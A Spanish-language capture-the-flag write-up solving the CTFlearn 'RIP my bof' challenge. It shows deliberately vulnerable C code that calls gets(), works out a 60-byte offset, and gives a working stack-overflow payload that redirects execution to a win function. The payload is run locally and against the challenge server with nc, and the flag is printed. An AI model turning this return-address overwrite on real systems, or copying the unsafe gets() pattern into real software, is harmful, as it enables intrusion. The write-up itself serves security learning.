RIP my bof
6 minutos de lectura
Se nos proporciona un binario de 32 bits llamado server
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
También tenemos el código fuente en C. Básicamente, lo que hace el programa es llamar a la función gets
, que es vulnerable a Buffer Overflow:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void win() {
system("/bin/cat /flag.txt");
}
void vuln() {
char padding[16];
char buff[32];
memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.
// Initializes the stack visualization. Don't worry about it!
init_visualize(buff);
// Prints out the stack before modification
visualize(buff);
printf("Input some text: ");
gets(buff); // This is a vulnerable call!
// Prints out the stack after modification
visualize(buff);
}
int main() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
vuln();
}
El objetivo del reto es redirigir el flujo de ejecución del programa para llamar a win
explotando la vulnerabilidad de Buffer Overflow. De hecho, el programa está diseñado para mostrar la pila (stack) antes y después de llamar a gets
:
$ ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe40090 | 00 00 00 00 00 00 00 00 |
0xffe40098 | 00 00 00 00 00 00 00 00 |
0xffe400a0 | 00 00 00 00 00 00 00 00 |
0xffe400a8 | 00 00 00 00 00 00 00 00 |
0xffe400b0 | ff ff ff ff ff ff ff ff |
0xffe400b8 | ff ff ff ff ff ff ff ff |
0xffe400c0 | 80 25 ee f7 00 a0 04 08 |
0xffe400c8 | d8 00 e4 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text: AAAA
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffe40090 | 41 41 41 41 00 00 00 00 |
0xffe40098 | 00 00 00 00 00 00 00 00 |
0xffe400a0 | 00 00 00 00 00 00 00 00 |
0xffe400a8 | 00 00 00 00 00 00 00 00 |
0xffe400b0 | ff ff ff ff ff ff ff ff |
0xffe400b8 | ff ff ff ff ff ff ff ff |
0xffe400c0 | 80 25 ee f7 00 a0 04 08 |
0xffe400c8 | d8 00 e4 ff 8b 86 04 08 |
Return address: 0x0804868b
Necesitamos sobrescribir los bytes mostrados en rojo (registro $eip
). Para llegar a este punto, necesitamos un total de 60 bytes. Podemos probarlo poniendo BBBB
:
$ python3 -c 'print("A" * 60 + "BBBB")' | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xfff8b4a0 | 00 00 00 00 00 00 00 00 |
0xfff8b4a8 | 00 00 00 00 00 00 00 00 |
0xfff8b4b0 | 00 00 00 00 00 00 00 00 |
0xfff8b4b8 | 00 00 00 00 00 00 00 00 |
0xfff8b4c0 | ff ff ff ff ff ff ff ff |
0xfff8b4c8 | ff ff ff ff ff ff ff ff |
0xfff8b4d0 | 80 85 f0 f7 00 a0 04 08 |
0xfff8b4d8 | e8 b4 f8 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xfff8b4a0 | 41 41 41 41 41 41 41 41 |
0xfff8b4a8 | 41 41 41 41 41 41 41 41 |
0xfff8b4b0 | 41 41 41 41 41 41 41 41 |
0xfff8b4b8 | 41 41 41 41 41 41 41 41 |
0xfff8b4c0 | 41 41 41 41 41 41 41 41 |
0xfff8b4c8 | 41 41 41 41 41 41 41 41 |
0xfff8b4d0 | 41 41 41 41 41 41 41 41 |
0xfff8b4d8 | 41 41 41 41 42 42 42 42 |
Return address: 0x42424242
zsh: done python3 -c 'print("A" * 60 + "BBBB")' |
zsh: segmentation fault (core dumped) ./server
El programa se rompe (violación de segmento) porque la dirección 0x42424242
(BBBB
) es inválida.
Ahora que tenemos control sobre la siguiente instrucción a ejecutar (registro $eip
), podemos poner la dirección de win
. Esta dirección puede obtenerse utilizando readelf
:
$ readelf -s server | grep win
64: 08048586 43 FUNC GLOBAL DEFAULT 14 win
Este valor hexadecimal debe ser introducido en formato little-endian (bytes en orden inverso). Si queremos probarlo en local, necesitamos crear un archivo de prueba /flag.txt
:
# echo THISISTHEFLAG | tee /flag.txt
THISISTHEFLAG
Y ahora podemos probar el payload:
$ echo -e "$(python3 -c 'print("A" * 60)')\x86\x85\x04\x08" | ./server
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffc2ea30 | 00 00 00 00 00 00 00 00 |
0xffc2ea38 | 00 00 00 00 00 00 00 00 |
0xffc2ea40 | 00 00 00 00 00 00 00 00 |
0xffc2ea48 | 00 00 00 00 00 00 00 00 |
0xffc2ea50 | ff ff ff ff ff ff ff ff |
0xffc2ea58 | ff ff ff ff ff ff ff ff |
0xffc2ea60 | 80 d5 f7 f7 00 a0 04 08 |
0xffc2ea68 | 78 ea c2 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xffc2ea30 | 41 41 41 41 41 41 41 41 |
0xffc2ea38 | 41 41 41 41 41 41 41 41 |
0xffc2ea40 | 41 41 41 41 41 41 41 41 |
0xffc2ea48 | 41 41 41 41 41 41 41 41 |
0xffc2ea50 | 41 41 41 41 41 41 41 41 |
0xffc2ea58 | 41 41 41 41 41 41 41 41 |
0xffc2ea60 | 41 41 41 41 41 41 41 41 |
0xffc2ea68 | 41 41 41 41 86 85 04 08 |
Return address: 0x08048586
THISISTHEFLAG
zsh: done echo -e "$(python3 -c 'print(chr(0x41) * 60)')\x86\x85\x04\x08" |
zsh: segmentation fault (core dumped) ./server
Perfecto, hemos llamado a win
correctamente. Ahora podemos conseguir la flag en la instancia remota:
$ echo -e "$(python3 -c 'print("A" * 60)')\x86\x85\x04\x08" | nc thekidofarcrania.com 4902
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff856760 | 00 00 00 00 00 00 00 00 |
0xff856768 | 00 00 00 00 00 00 00 00 |
0xff856770 | 00 00 00 00 00 00 00 00 |
0xff856778 | 00 00 00 00 00 00 00 00 |
0xff856780 | ff ff ff ff ff ff ff ff |
0xff856788 | ff ff ff ff ff ff ff ff |
0xff856790 | c0 a5 f0 f7 00 a0 04 08 |
0xff856798 | a8 67 85 ff 8b 86 04 08 |
Return address: 0x0804868b
Input some text:
Legend: buff MODIFIED padding MODIFIED
notsecret MODIFIED secret MODIFIED
return address MODIFIED
0xff856760 | 41 41 41 41 41 41 41 41 |
0xff856768 | 41 41 41 41 41 41 41 41 |
0xff856770 | 41 41 41 41 41 41 41 41 |
0xff856778 | 41 41 41 41 41 41 41 41 |
0xff856780 | 41 41 41 41 41 41 41 41 |
0xff856788 | 41 41 41 41 41 41 41 41 |
0xff856790 | 41 41 41 41 41 41 41 41 |
0xff856798 | 41 41 41 41 86 85 04 08 |
Return address: 0x08048586
CTFlearn{c0ntr0ling_r1p_1s_n0t_t00_h4rd_abjkdlfa}
timeout: the monitored command dumped core